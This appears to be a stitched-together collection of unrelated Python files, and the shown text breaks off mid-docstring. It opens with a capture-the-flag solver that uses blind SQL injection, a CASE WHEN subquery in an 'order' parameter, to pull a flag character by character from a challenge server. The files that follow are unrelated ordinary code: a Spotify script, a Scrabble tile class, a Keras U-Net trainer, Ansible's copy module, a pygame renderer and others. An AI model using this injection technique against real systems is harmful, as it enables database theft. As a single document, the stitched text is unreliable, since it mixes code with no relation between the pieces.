# Challenge from nahamcon ctf
import requests
from bs4 import BeautifulSoup
import string

url = "http://challenge.nahamcon.com:31611" # do not forget to update your URL.
chars = string.ascii_lowercase+'{_}'
flag=""
counter=1
while True:
    for char in chars:
        r = requests.post(url, data={
            "search":"",
            "order":f"CASE WHEN((select substr(flag,{counter},1) from flag)='{char}') THEN symbol ELSE atomic_number END"
        })

        soup = BeautifulSoup(r.text, "html.parser")
        table = soup.find("table")
        table_body = table.find("tbody")
        rows = table_body.find_all("tr")
        if "Li" in rows[0].text:
            continue
        else:
            flag+=char
            counter+=1
            print(flag)
    if(len(flag) == 20):
        break


from bearer import return_access_token
from spotifyApi import *

searchTerm = "ocean man"

Bearer = open("token.tkn","r").read() # very simple way of storing bearer token, would reccomend encryption of some sort but i cba so

if searchTrack(Bearer,searchTerm).get('tracks') == None:
    Bearer = return_access_token()
    open("token.tkn","w").write(Bearer)

trackId = searchTrack(Bearer,searchTerm)['tracks']['items'][0]['id']

print(playTrack(Bearer,trackId))


import random

# {---------------------------------------------------------------------------------}
# {--------------------------- CLASE BOLSA DE FICHAS -------------------------------}
# {---------------------------------------------------------------------------------}

class BolsaFichas():
    """Bolsa de fichas contiene todas las letras (fichas) que se van a utilizar en la partida
    """

    def __init__(self, bolsa_fichas):
        self._bolsa_fichas = bolsa_fichas
        self._habilitada = False
        self._cant_letras = self._contarLetras()

    def _contarLetras(self):
        """Retorna la cantidad de letras que posee el diccionario de letras al inicio
        """
        cant_letras = 0
        for letra in self._bolsa_fichas:
            cant_letras += self._bolsa_fichas[letra]['cantidad']
        return cant_letras

    def letras_random(self, cantidad):
        """Retorna una lista eligiendo tantas letras (indicadas en el parámetro) de forma aleatoria de la bolsa de fichas.\n
        Si no hay más letras disponibles en la bolsa de fichas retorna una lista vacia
        """
        lista_letras = []
        if (cantidad <= self._cant_letras):
            lis_letras_prov = []
            for letra in list(self._bolsa_fichas.keys()):
                for i in range(0, (self._bolsa_fichas[letra]['cantidad'])):
                    lis_letras_prov.append(letra)

            for i in range(0,cantidad):
                letra_elegida = random.choice(lis_letras_prov)
                lis_letras_prov.remove(letra_elegida)
                self._bolsa_fichas[letra_elegida]['cantidad'] -= 1
                self._cant_letras -= 1
                lista_letras.append(letra_elegida)

        return lista_letras

    def habilitar(self):
        """Habilita la bolsa de fichas indicando que se esta usando
        """
        self._habilitada = True

    def deshabilitar(self):
        """Deshabilita la bolsa de fichas indicando que se dejo de usar
        """
        self._habilitada = False

    def estaHabilitada(self):
        """Retorna True si la bolsa esta habilitada, False en caso contrario
        """
        return self._habilitada

    def devolverPuntaje(self,palabra,lis_keys,casillas_especiales):
        """Retorna la cantidad de puntos correspondiente a la palabra pasada como parámetro
        """
        puntos = 0
        indice = 0
        for letra in palabra:
            if (lis_keys[indice] in casillas_especiales['x2']):
                puntos += (self._bolsa_fichas[letra]['puntuacion']*2)
            elif (lis_keys[indice] in casillas_especiales['x3']):
                puntos += (self._bolsa_fichas[letra]['puntuacion']*3)
            elif (lis_keys[indice] in casillas_especiales['-1']):
                puntos += (self._bolsa_fichas[letra]['puntuacion']-1)
            elif (lis_keys[indice] in casillas_especiales['-2']):
                puntos += (self._bolsa_fichas[letra]['puntuacion']-2)
            elif (lis_keys[indice] in casillas_especiales['-3']):
                puntos += (self._bolsa_fichas[letra]['puntuacion']-3)
            else:
                puntos += self._bolsa_fichas[letra]['puntuacion']
            indice += 1
        return puntos

    def devolverLetras(self, letras_devolver):
        """Devuelve las letras pasadas como parámetro a la bolsa, sumando en 1 su cantidad
        """
        for letra in letras_devolver:
            self._bolsa_fichas[letra]['cantidad'] += 1

    def calcularPuntajeLista(self,lista):
        """Calcula el puntaje de las letras que hay en la lista pasada por parametro
        """
        puntaje = 0
        for letra in lista:
            puntaje += self._bolsa_fichas[letra]['puntuacion']
        return puntaje

# {---------------------------------------------------------------------------------}
# {--------------------------- CREACIÓN DEL OBJETO ---------------------------------}
# {---------------------------------------------------------------------------------}

def crear_bolsa(dic_fichas):
    """Crea la bolsa de fichas y la devuelve
    """

    bolsa_fichas = BolsaFichas(dic_fichas)
    return bolsa_fichas


import numpy as np
import random
import json
from glob import glob
from keras.models import model_from_json,load_model
from keras.preprocessing.image import ImageDataGenerator
from keras.callbacks import  ModelCheckpoint,Callback,LearningRateScheduler
import keras.backend as K
from model import Unet_model
from losses import *

class SGDLearningRateTracker(Callback):

    def on_epoch_begin(self, epoch, logs = {}):
        optimizer = self.model.optimizer
        lr = K.get_value(optimizer.lr)
        decay = K.get_value(optimizer.decay)
        lr = lr / 10
        decay = decay * 10
        K.set_value(optimizer.lr, lr)
        K.set_value(optimizer.decay, decay)
        print("lr changed to:", lr)
        print("decay changed to:", decay)

class Training(object):

    '''
    load a model
    input: string 'model_name': filepath to model and weights, not including extension
    output: model with loaded weights. can fit on model using loaded_model = True in fit_model method
    '''
    def load_model(self, model_name):
        '''
        Load a model
        INPUT  (1) string 'model_name': filepath to model and weights, not including extension
        OUTPUT: Model with loaded weights. can fit on model using loaded_model=True in fit_model method
        '''
        print ('Loading model {}'.format(model_name))
        model_toload = '/Users/kaitlinylim/Documents/tumorproj/models/{}.json'.format(model_name)
        weights = '/Users/kaitlinylim/Documents/tumorproj/weights/{}.hdf5'.format(model_name)
        with open(model_toload) as f:
            loaded_model_json = f.read()
        model_comp = model_from_json(loaded_model_json)
        model_comp.load_weights(weights)
        print ('model loaded.')
        model_comp.compile(loss = gen_dice_loss, optimizer = SGD(lr = 0.08, momentum = 0.9, decay = 5e-6, nesterov = False),
                           metrics = [dice_whole_metric, dice_core_metric, dice_en_metric])
        print('model compiled')
        self.model = model_comp
        return model_comp

    # constructor
    def __init__(self, batch_size, nb_epoch, load_model_resume_training = None):
        self.batch_size = batch_size
        self.nb_epoch = nb_epoch

        #loading model from path to resume previous training without recompiling the whole model
        if load_model_resume_training is not None:
            # self.model = self.load_model(load_model_resume_training,custom_objects={'gen_dice_loss': gen_dice_loss,'dice_whole_metric':dice_whole_metric,'dice_core_metric':dice_core_metric,'dice_en_metric':dice_en_metric})
            self.model = self.load_model(load_model_resume_training)
            print("pre-trained model loaded!")
        else:
            unet = Unet_model(img_shape = (128, 128, 4))
            self.model = unet.model
            print("u-net cnn compiled!")

    def fit_unet(self, X33_train, Y_train, X_patches_valid = None, Y_labels_valid = None):
        train_generator = self.img_msk_gen(X33_train, Y_train, 9999)
        checkpointer = ModelCheckpoint(filepath = "/Users/kaitlinylim/Documents/tumorproj/checkpoints/ResUnet.{epoch:02d}_{val_loss:.3f}.hdf5",
                                      verbose = 1)
        self.model.fit_generator(train_generator, steps_per_epoch = len(X33_train)//self.batch_size,
                                epochs = self.nb_epoch, validation_data = (X_patches_valid, Y_labels_valid),
                                verbose = 1, callbacks = [checkpointer, SGDLearningRateTracker()])

    '''
    a custom generator that performs data augmentation on both patches and their corresponding masks
    '''
    def img_msk_gen(self, X33_train, Y_train, seed):
        datagen = ImageDataGenerator(horizontal_flip = True, data_format = 'channels_last')
        datagen_msk = ImageDataGenerator(horizontal_flip = True, data_format = 'channels_last')
        image_generator = datagen.flow(X33_train, batch_size = 4, seed = seed)
        y_generator = datagen_msk.flow(Y_train, batch_size = 4, seed = seed)
        while True:
            yield(image_generator.next(), y_generator.next())

    '''
    input: string 'model_name': path where to save model and weights without extension
    saves current model as json and weights as h5df file
    '''
    def save_model(self, model_name):
        model_tosave = '{}.json'.format(model_name)
        json_string = self.model.to_json()
        with open('/Users/kaitlinylim/Documents/tumorproj/models/'+model_tosave, 'w') as json_file:
            json_file.write(json_string)
            weights = '{}.hdf5'.format(model_name)
            self.model.save_weights('/Users/kaitlinylim/Documents/tumorproj/weights/'+weights)
        print ('model saved')

if __name__ == '__main__':

    X_patches = np.load('/Users/kaitlinylim/Documents/tumorproj/numpy/X_patches.npy')
    Y_labels = np.load('/Users/kaitlinylim/Documents/tumorproj/numpy/Y_labels.npy')
    print('loading patches done\n')

    # split the training data further into training data and validation data
    div = int(X_patches.shape[0] * 0.8)
    X_training = X_patches[0:div]
    X_validation = X_patches[div:]
    Y_training = Y_labels[0:div]
    Y_validation = Y_labels[div:]

    brain_seg_1 = Training(batch_size = 4, nb_epoch = 2)

    print("number of trainable parameters:", brain_seg_1.model.count_params())
    # print(brain_seg_1.model.summary())

    brain_seg_1.fit_unet(X_training, Y_training, X_validation, Y_validation)

    # if an already trained model is being loaded
    model_to_load = 'seg_2_epochs'
    brain_seg_2 = Training(batch_size = 4, nb_epoch = 2, load_model_resume_training = model_to_load)
    brain_seg_2.fit_unet(X_training, Y_training, X_validation, Y_validation)
    brain_seg_2.save_model('seg_4_epochs')


def int_to_time(number):
    hh = number//60
    if hh < 10:
        hh = "0"+str(hh)
    else :
        hh = str(hh)

    mm = number%60
    if mm < 10:
        mm = "0"+str(mm)
    else :
        mm = str(mm)

    time = hh+":"+mm
    return time

def time_to_int(time):
    hh, mm = time.split(":")
    number = int(hh)*60+int(mm)
    return number

def solution(n, t, m, timetable):
    sort_table = []
    answer = 0
    last = 0
    bus = 540
    length = len(timetable)
    remain = 0

    for i in timetable:
        sort_table.append(time_to_int(i))
    sort_table.sort()

    for i in range(n):
        for j in range(m):
            now = sort_table[last]
            if now <= bus:
                last += 1
                if last == length:
                    break
            else :
                remain += m-j
                break

        bus += t
        if last == length:
            break

    if last == n*m :
        answer = int_to_time(sort_table[last-1]-1)
    else :
        if length - last == 0:
            answer = int_to_time(sort_table[last-1]-1)
        else :
            if sort_table[last] <= 540+(n-1)*t:
                answer = int_to_time(sort_table[last-1]-1)
            else :
                answer = int_to_time(540+(n-1)*t)
    return answer

# nn = 2
# tt = 1
# mm = 2
# table = ["09:00", "09:00", "09:00", "09:00"]

# print(solution(nn,tt,mm,table))

# nn = 2
# tt = 10
# mm = 2
# table =	["09:10", "09:09", "08:00"]

# print(solution(nn,tt,mm,table))

# nn = 1
# tt = 1
# mm = 5
# table = ["08:00", "08:01", "08:02", "08:03"]

# print(solution(nn,tt,mm,table))

nn = 10
tt = 60
mm = 45
table = ["23:59","23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59", "23:59"]

print(solution(nn,tt,mm,table))

nn = 1
tt = 1
mm = 1
table =	["23:59"]

print(solution(nn,tt,mm,table))


import numpy as np
import gfmm

def cross_fold(X, Y, n, **gfmm_kwargs):
    num_examples = len(Y)
    # shuffle data first
    idx = np.arange(num_examples)
    np.random.shuffle(idx)
    # split into n sets
    splits = np.split(idx, n)
    for i in range(n):
        # get train/test sets
        idx_test = splits[i]
        tr1 = splits[:i]
        tr2 = splits[i+1:]
        tr1.extend(tr2)
        idx_train = np.concatenate(tr1)
        X_train = X[idx_train,:]
        X_test = X[idx_test,:]
        Y_train = Y[idx_train]
        Y_test = Y[idx_test]
        # create new model
        model = gfmm.GFMM(**gfmm_kwargs)
        # train
        model.fit(X_train, Y_train)
        # compare
        out = model.predict(X_test)
        correct = np.where(out == Y_test)[0]
        # for now, just print results:
        accuracy = len(correct) / len(Y_test)
        print(i, accuracy)

def num_misclassifications(y_true, y_pred):
    wrong = np.where(y_true != y_pred)[0]
    return len(wrong)


from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['stableinterface'],
                    'supported_by': 'core'}

DOCUMENTATION = r'''
---
module: copy
version_added: "historical"
short_description: Copies files to remote locations
description:
    - The C(copy) module copies a file from the local or remote machine to a location on the remote machine.
      Use the M(fetch) module to copy files from remote locations to the local box.
      If you need variable interpolation in copied files, use the M(template) module.
    - For Windows targets, use the M(win_copy) module instead.
options:
  src:
    description:
      - Local path to a file to copy to the remote server; can be absolute or relative.
        If path is a directory, it is copied recursively. In this case, if path ends
        with "/", only inside contents of that directory are copied to destination.
        Otherwise, if it does not end with "/", the directory itself with all contents
        is copied. This behavior is similar to Rsync.
  content:
    description:
      - When used instead of I(src), sets the contents of a file directly to the specified value.
        For anything advanced or with formatting also look at the template module.
    version_added: "1.1"
  dest:
    description:
      - 'Remote absolute path where the file should be copied to. If I(src) is a directory, this must be a directory too.
        If I(dest) is a nonexistent path and if either I(dest) ends with "/" or I(src) is a directory, I(dest) is created.
        If I(src) and I(dest) are files, the parent directory of I(dest) isn''t created: the task fails if it doesn''t already exist.'
    required: yes
  backup:
    description:
      - Create a backup file including the timestamp information so you can get
        the original file back if you somehow clobbered it incorrectly.
    type: bool
    default: 'no'
    version_added: "0.7"
  force:
    description:
      - the default is C(yes), which will replace the remote file when contents
        are different than the source. If C(no), the file will only be transferred
        if the destination does not exist.
    type: bool
    default: 'yes'
    aliases: [ thirsty ]
    version_added: "1.1"
  mode:
    description:
      - "Mode the file or directory should be. For those used to I(/usr/bin/chmod) remember that
        modes are actually octal numbers.  You must either specify the leading zero so that
        Ansible's YAML parser knows it is an octal number (like C(0644) or C(01777)) or quote it
        (like C('644') or C('0644') so Ansible receives a string and can do its own conversion from
        string into number.  Giving Ansible a number without following one of these rules will end
        up with a decimal number which will have unexpected results.  As of version 1.8, the mode
        may be specified as a symbolic mode (for example, C(u+rwx) or C(u=rw,g=r,o=r)).  As of
        version 2.3, the mode may also be the special string C(preserve).  C(preserve) means that
        the file will be given the same permissions as the source file."
  directory_mode:
    description:
      - When doing a recursive copy set the mode for the directories. If this is not set we will use the system
        defaults. The mode is only set on directories which are newly created, and will not affect those that
        already existed.
    version_added: "1.5"
  remote_src:
    description:
      - If C(no), it will search for I(src) at originating/master machine.
      - If C(yes) it will go to the remote/target machine for the I(src). Default is C(no).
      - Currently I(remote_src) does not support recursive copying.
      - I(remote_src) only works with C(mode=preserve) as of version 2.6.
    type: bool
    default: 'no'
    version_added: "2.0"
  follow:
    description:
      - This flag indicates that filesystem links in the destination, if they exist, should be followed.
    type: bool
    default: 'no'
    version_added: "1.8"
  local_follow:
    description:
      - This flag indicates that filesystem links in the source tree, if they exist, should be followed.
    type: bool
    default: 'yes'
    version_added: "2.4"
  checksum:
    description:
      - SHA1 checksum of the file being transferred. Used to validate that the copy of the file was successful.
      - If this is not provided, ansible will use the local calculated checksum of the src file.
    version_added: '2.5'
extends_documentation_fragment:
    - files
    - validate
    - decrypt
author:
    - Ansible Core Team
    - Michael DeHaan
notes:
   - The M(copy) module recursively copy facility does not scale to lots (>hundreds) of files.
     For alternative, see M(synchronize) module, which is a wrapper around C(rsync).
   - For Windows targets, use the M(win_copy) module instead.
'''

EXAMPLES = r'''
- name: example copying file with owner and permissions
  copy:
    src: /srv/myfiles/foo.conf
    dest: /etc/foo.conf
    owner: foo
    group: foo
    mode: 0644

- name: The same example as above, but using a symbolic mode equivalent to 0644
  copy:
    src: /srv/myfiles/foo.conf
    dest: /etc/foo.conf
    owner: foo
    group: foo
    mode: u=rw,g=r,o=r

- name: Another symbolic mode example, adding some permissions and removing others
  copy:
    src: /srv/myfiles/foo.conf
    dest: /etc/foo.conf
    owner: foo
    group: foo
    mode: u+rw,g-wx,o-rwx

- name: Copy a new "ntp.conf file into place, backing up the original if it differs from the copied version
  copy:
    src: /mine/ntp.conf
    dest: /etc/ntp.conf
    owner: root
    group: root
    mode: 0644
    backup: yes

- name: Copy a new "sudoers" file into place, after passing validation with visudo
  copy:
    src: /mine/sudoers
    dest: /etc/sudoers
    validate: /usr/sbin/visudo -cf %s

- name: Copy a "sudoers" file on the remote machine for editing
  copy:
    src: /etc/sudoers
    dest: /etc/sudoers.edit
    remote_src: yes
    validate: /usr/sbin/visudo -cf %s

- name: Copy using the 'content' for inline data
  copy:
    content: '# This file was moved to /etc/other.conf'
    dest: /etc/mine.conf'
'''

RETURN = r'''
dest:
    description: destination file/path
    returned: success
    type: string
    sample: /path/to/file.txt
src:
    description: source file used for the copy on the target machine
    returned: changed
    type: string
    sample: /home/httpd/.ansible/tmp/ansible-tmp-1423796390.97-147729857856000/source
md5sum:
    description: md5 checksum of the file after running copy
    returned: when supported
    type: string
    sample: 2a5aeecc61dc98c4d780b14b330e3282
checksum:
    description: sha1 checksum of the file after running copy
    returned: success
    type: string
    sample: 6e642bb8dd5c2e027bf21dd923337cbb4214f827
backup_file:
    description: name of backup file created
    returned: changed and if backup=yes
    type: string
    sample: /path/to/file.txt.2015-02-12@22:09~
gid:
    description: group id of the file, after execution
    returned: success
    type: int
    sample: 100
group:
    description: group of the file, after execution
    returned: success
    type: string
    sample: httpd
owner:
    description: owner of the file, after execution
    returned: success
    type: string
    sample: httpd
uid:
    description: owner id of the file, after execution
    returned: success
    type: int
    sample: 100
mode:
    description: permissions of the target, after execution
    returned: success
    type: string
    sample: 0644
size:
    description: size of the target, after execution
    returned: success
    type: int
    sample: 1220
state:
    description: state of the target, after execution
    returned: success
    type: string
    sample: file
'''

import os
import os.path
import shutil
import stat
import errno
import tempfile
import traceback

from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils._text import to_bytes, to_native

class AnsibleModuleError(Exception):
    def __init__(self, results):
        self.results = results

def split_pre_existing_dir(dirname):
    '''
    Return the first pre-existing directory and a list of the new directories that will be created.
    '''
    head, tail = os.path.split(dirname)
    b_head = to_bytes(head, errors='surrogate_or_strict')
    if head == '':
        return ('.', [tail])
    if not os.path.exists(b_head):
        if head == '/':
            raise AnsibleModuleError(results={'msg': "The '/' directory doesn't exist on this machine."})
        (pre_existing_dir, new_directory_list) = split_pre_existing_dir(head)
    else:
        return (head, [tail])
    new_directory_list.append(tail)
    return (pre_existing_dir, new_directory_list)

def adjust_recursive_directory_permissions(pre_existing_dir, new_directory_list, module, directory_args, changed):
    '''
    Walk the new directories list and make sure that permissions are as we would expect
    '''

    if new_directory_list:
        working_dir = os.path.join(pre_existing_dir, new_directory_list.pop(0))
        directory_args['path'] = working_dir
        changed = module.set_fs_attributes_if_different(directory_args, changed)
        changed = adjust_recursive_directory_permissions(working_dir, new_directory_list, module, directory_args, changed)
    return changed

def main():

    module = AnsibleModule(
        # not checking because of daisy chain to file module
        argument_spec=dict(
            src=dict(type='path'),
            _original_basename=dict(type='str'),  # used to handle 'dest is a directory' via template, a slight hack
            content=dict(type='str', no_log=True),
            dest=dict(type='path', required=True),
            backup=dict(type='bool', default=False),
            force=dict(type='bool', default=True, aliases=['thirsty']),
            validate=dict(type='str'),
            directory_mode=dict(type='raw'),
            remote_src=dict(type='bool'),
            local_follow=dict(type='bool'),
            checksum=dict(),
        ),
        add_file_common_args=True,
        supports_check_mode=True,
    )

    src = module.params['src']
    b_src = to_bytes(src, errors='surrogate_or_strict')
    dest = module.params['dest']
    # Make sure we always have a directory component for later processing
    if os.path.sep not in dest:
        dest = '.{0}{1}'.format(os.path.sep, dest)
    b_dest = to_bytes(dest, errors='surrogate_or_strict')
    backup = module.params['backup']
    force = module.params['force']
    _original_basename = module.params.get('_original_basename', None)
    validate = module.params.get('validate', None)
    follow = module.params['follow']
    mode = module.params['mode']
    owner = module.params['owner']
    group = module.params['group']
    remote_src = module.params['remote_src']
    checksum = module.params['checksum']

    if not os.path.exists(b_src):
        module.fail_json(msg="Source %s not found" % (src))
    if not os.access(b_src, os.R_OK):
        module.fail_json(msg="Source %s not readable" % (src))
    if os.path.isdir(b_src):
        module.fail_json(msg="Remote copy does not support recursive copy of directory: %s" % (src))

    # Preserve is usually handled in the action plugin but mode + remote_src has to be done on the
    # remote host
    if module.params['mode'] == 'preserve':
        module.params['mode'] = '0%03o' % stat.S_IMODE(os.stat(b_src).st_mode)
    mode = module.params['mode']

    checksum_src = module.sha1(src)
    checksum_dest = None
    # Backwards compat only.  This will be None in FIPS mode
    try:
        md5sum_src = module.md5(src)
    except ValueError:
        md5sum_src = None

    changed = False

    if checksum and checksum_src != checksum:
        module.fail_json(
            msg='Copied file does not match the expected checksum. Transfer failed.',
            checksum=checksum_src,
            expected_checksum=checksum
        )

    # Special handling for recursive copy - create intermediate dirs
    if _original_basename and dest.endswith(os.sep):
        dest = os.path.join(dest, _original_basename)
        b_dest = to_bytes(dest, errors='surrogate_or_strict')
        dirname = os.path.dirname(dest)
        b_dirname = to_bytes(dirname, errors='surrogate_or_strict')
        if not os.path.exists(b_dirname):
            try:
                (pre_existing_dir, new_directory_list) = split_pre_existing_dir(dirname)
            except AnsibleModuleError as e:
                e.result['msg'] += ' Could not copy to {0}'.format(dest)
                module.fail_json(**e.results)

            os.makedirs(b_dirname)
            directory_args = module.load_file_common_arguments(module.params)
            directory_mode = module.params["directory_mode"]
            if directory_mode is not None:
                directory_args['mode'] = directory_mode
            else:
                directory_args['mode'] = None
            adjust_recursive_directory_permissions(pre_existing_dir, new_directory_list, module, directory_args, changed)

    if os.path.isdir(b_dest):
        basename = os.path.basename(src)
        if _original_basename:
            basename = _original_basename
        dest = os.path.join(dest, basename)
        b_dest = to_bytes(dest, errors='surrogate_or_strict')

    if os.path.exists(b_dest):
        if os.path.islink(b_dest) and follow:
            b_dest = os.path.realpath(b_dest)
            dest = to_native(b_dest, errors='surrogate_or_strict')
        if not force:
            module.exit_json(msg="file already exists", src=src, dest=dest, changed=False)
        if os.access(b_dest, os.R_OK):
            checksum_dest = module.sha1(dest)
    else:
        if not os.path.exists(os.path.dirname(b_dest)):
            try:
                # os.path.exists() can return false in some
                # circumstances where the directory does not have
                # the execute bit for the current user set, in
                # which case the stat() call will raise an OSError
                os.stat(os.path.dirname(b_dest))
            except OSError as e:
                if "permission denied" in to_native(e).lower():
                    module.fail_json(msg="Destination directory %s is not accessible" % (os.path.dirname(dest)))
            module.fail_json(msg="Destination directory %s does not exist" % (os.path.dirname(dest)))

    if not os.access(os.path.dirname(b_dest), os.W_OK) and not module.params['unsafe_writes']:
        module.fail_json(msg="Destination %s not writable" % (os.path.dirname(dest)))

    backup_file = None
    if checksum_src != checksum_dest or os.path.islink(b_dest):
        if not module.check_mode:
            try:
                if backup:
                    if os.path.exists(b_dest):
                        backup_file = module.backup_local(dest)
                # allow for conversion from symlink.
                if os.path.islink(b_dest):
                    os.unlink(b_dest)
                    open(b_dest, 'w').close()
                if validate:
                    # if we have a mode, make sure we set it on the temporary
                    # file source as some validations may require it
                    if mode is not None:
                        module.set_mode_if_different(src, mode, False)
                    if owner is not None:
                        module.set_owner_if_different(src, owner, False)
                    if group is not None:
                        module.set_group_if_different(src, group, False)
                    if "%s" not in validate:
                        module.fail_json(msg="validate must contain %%s: %s" % (validate))
                    (rc, out, err) = module.run_command(validate % src)
                    if rc != 0:
                        module.fail_json(msg="failed to validate", exit_status=rc, stdout=out, stderr=err)
                b_mysrc = b_src
                if remote_src:
                    _, b_mysrc = tempfile.mkstemp(dir=os.path.dirname(b_dest))

                    shutil.copyfile(b_src, b_mysrc)
                    try:
                        shutil.copystat(b_src, b_mysrc)
                    except OSError as err:
                        if err.errno == errno.ENOSYS and mode == "preserve":
                            module.warn("Unable to copy stats {0}".format(to_native(b_src)))
                        else:
                            raise
                module.atomic_move(b_mysrc, dest, unsafe_writes=module.params['unsafe_writes'])
            except (IOError, OSError):
                module.fail_json(msg="failed to copy: %s to %s" % (src, dest), traceback=traceback.format_exc())
        changed = True
    else:
        changed = False

    res_args = dict(
        dest=dest, src=src, md5sum=md5sum_src, checksum=checksum_src, changed=changed
    )
    if backup_file:
        res_args['backup_file'] = backup_file

    module.params['dest'] = dest
    if not module.check_mode:
        file_args = module.load_file_common_arguments(module.params)
        res_args['changed'] = module.set_fs_attributes_if_different(file_args, res_args['changed'])

    module.exit_json(**res_args)

if __name__ == '__main__':
    main()


import setuptools

with open("README.md", "r") as fh:
    long_description = fh.read()

setuptools.setup(
    name="SparseMatrixRecommender",
    version="0.1.8",
    author="Anton Antonov",
    author_email="antononcube@posteo.net",
    description="Sparse Matrix Recommender package based on SSparseMatrix objects.",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/antononcube/Python-packages/tree/main/SparseMatrixRecommender",
    install_requires=['numpy', 'scipy', 'SSparseMatrix', 'pandas'],
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
        "Operating System :: OS Independent",
    ],
    keywords=["sparse", "matrix", "recommender", "sparse matrix recommender",
              "linear algebra", "linear", "algebra",
              "recommendations"],
    package_data={'': ['resources/*.csv', 'resources/*.csv.gz']},
    python_requires='>=3.7',
)


import os

g = open('raw_meanings.txt', 'w+')
cnt = 0
tot = len(os.listdir('./txt/'))
for file in os.listdir('./txt/'):
    cnt += 1
    if cnt % 10 == 0:
        print(str(cnt/tot) + "\t" + str(cnt/tot * 100) + "% done \r", end = "")
    if cnt == tot:
        print(str(cnt/tot) + "\t" + str(cnt/tot * 100) + "% done \r")
    with open('./txt/' + file) as f:
        try:
            line = f.readlines()[2]
        except Exception as e:
            line = "-> does not have the first definition apparently\n"
        g.write(file + " :" + line + "\n")
g.close()


import os
import logging
import appdirs

from typing import Optional

logger = logging.getLogger(__name__)

class LocalFSCaching:

    def __init__(self):
        self._cache_dir = appdirs.user_cache_dir()
        logger.debug("Use '%s' as cache dir", self._cache_dir)

    def _get_cache_file_path(self, key: str, entity: str) -> str:
        file_path = os.path.join(
            self._cache_dir,
            "kobo2anki",
            entity,
            key
        )
        logger.debug(
            "Using cache path %s for key %s and entity %s", file_path,
            key, entity
        )
        return file_path

    def get_cached_data(self, entity: str, key: str) -> Optional[bytes]:
        result = None  # type: Optional[bytes]
        cache_file_path = self._get_cache_file_path(key, entity)
        try:
            with open(cache_file_path, 'rb') as fh:
                result = fh.read()
        except FileNotFoundError:
            logger.debug("Cache for %s with key %s not found", key, entity)
        return result

    def save_data_to_cache(self, entity: str, key: str, data: bytes):
        cache_file_path = self._get_cache_file_path(key, entity)
        if os.path.exists(cache_file_path):
            logger.warning(
                """Looks like we already have some cache fo key %s
                and entity %s. Will overwrite it.""",
                key, entity
            )
        else:
            cache_dir = os.path.dirname(cache_file_path)
            if not os.path.exists(cache_dir):
                logger.debug("Going to create cache dir '%s'", cache_dir)
                os.makedirs(cache_dir)

        with open(cache_file_path, "wb") as fh:
            fh.write(data)
        logger.debug("Recorded %d bytes into cache file %s", len(data), cache_file_path)


from app.main import app
from tests.client import TestClient

PREFIX = "/hello"
client = TestClient(PREFIX, app)

class TestHello:
    def test_get(self):
        response = client.get("/get")
        assert response.text.lower() == "hello!"


import pygame, random, importlib
import concurrent.futures
import asyncio
from texture import *
from tunnelelement import *
from inline import *

"""
The tunnel managing class controlling the behavior of the tunnel elements
Capsuled within is the Tunnel Element initiator class handling the initialization of
new Tunnel Elements and thereby guiding the appearance of the tunnel
"""
class Tunnel:
    maxelements = 8

    #initialization of the tunnel manager
    def __init__(self, maincontroller):
        self.maxelements = Tunnel.maxelements
        #the elements are initialized as an empty array that is populated with Elements at a later time
        self.elements = []
        #upward reference to the maincontroller
        self.maincontroller = maincontroller
        #initialization of the ElementInitiator
        self.initiator = ElementInitiator(self)

    #act method inducing the initiators and elements behavior
    def act(self):
        self.initiator.act()
        for element in self.elements:
            element.act()

    """
    draw method
    calls draw method on all elements
    then blits their individual surfaces to the screen in the according order
    screenspace is taken into account while blitting
    each element is only drawn within the bounds of the next higher elements inline
    the rest is not supposed to be visible anyways and blitting it takes
    a considerable amount of time
    """
    def draw(self, screen):
        #array of each elements surface and the rect bounding their inline
        surfacedata = [ element.draw() for element in self.elements ]
        maxindex = len(surfacedata) - 1
        index = 0
        #loop blitting each element within the bound of the inline of the next
        while index < maxindex:
            screen.blit(surfacedata[index][0], surfacedata[index + 1][1], surfacedata[index + 1][1])
            index += 1
        #blitting the last element to the whole screen if there is at least one element
        if maxindex >= 0:
            screen.blit(surfacedata[index][0], (0,0))

"""
Multi Threaded Implementation attempt of the Tunnel Class
Child class of the tunnel class, only implements threaded versions of act and draw
No longer in use as the improved implementation is as the name suggests better
Only for redundancy
"""
class MultiThreadedTunnel(Tunnel):
    def act(self):
        self.initiator.act()
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = [None for _ in range(len(self.elements))]
            for index, element in enumerate(self.elements):
                futures[index] = executor.submit(element.act)
            concurrent.futures.wait(futures)

    def draw(self, screen):
        with concurrent.futures.ThreadPoolExecutor() as executor:
            futures = [None for _ in range(len(self.elements))]
            for index, element in enumerate(self.elements):
                futures[index] = executor.submit(element.draw)
            for future in futures:
                screen.blit(future.result(), (0, 0))

"""
A more promising attempt at a MultiThreaded Implementation
Combines the draw and act method for the TunnelElements in one parallelizable function
To reduce the overhead caused by thread invocation
Problems:
The overhead is still greater than the cost
Ideas:
Maybe it's possible to implement the threads in form of an executor pool object
outside of a with block then they could be initialized at the start and only
filled with work to execute at runtime, which would eliminate the dragging overhead
Maybe the with block has to be in the global main function and the thread pool
executor has to be passed down as a reference to this object then it could
probably also behave in the same way
"""
class ImprovedMultiThreadedTunnel(MultiThreadedTunnel):
    #parallelizable function which runs both an elements act and draw method
    #returns the return value of the element.draw call
    def drawandact(self, element, screen):
        element.act()
        return element.draw()

    #act metod only inducing the initiators act method because element act is
    #induced in the draw method
    def act(self):
        self.initiator.act()

    #MultiThreaded draw method
    #A thread is initialized for each Element and is filled with the drawandact
    #method for each element reference
    #then results are collected in order and
    def draw(self, screen):
        #initialization of the thread pool
        with concurrent.futures.ThreadPoolExecutor() as executor:
            #populates a list with futuire objects each containing the return value
            #of a threads function call at a later point
            futures = [None for _ in range(len(self.elements))]
            for index, element in enumerate(self.elements):
                #call the drawandact function for each element
                futures[index] = executor.submit(self.drawandact, element, screen)
            results = []
            #await results and draw the surfaces
            #for description of how screenspace blitting is implemented see the
            #documentation of the draw method in the base Tunnel class
            for index, future in enumerate(futures):
                results.append(future.result())
                if index > 0:
                    screen.blit(results[index - 1][0], results[index][1], results[index][1])
            if len(results) > 0:
                screen.blit(results[-1][0], (0,0))

"""
Element initiator class
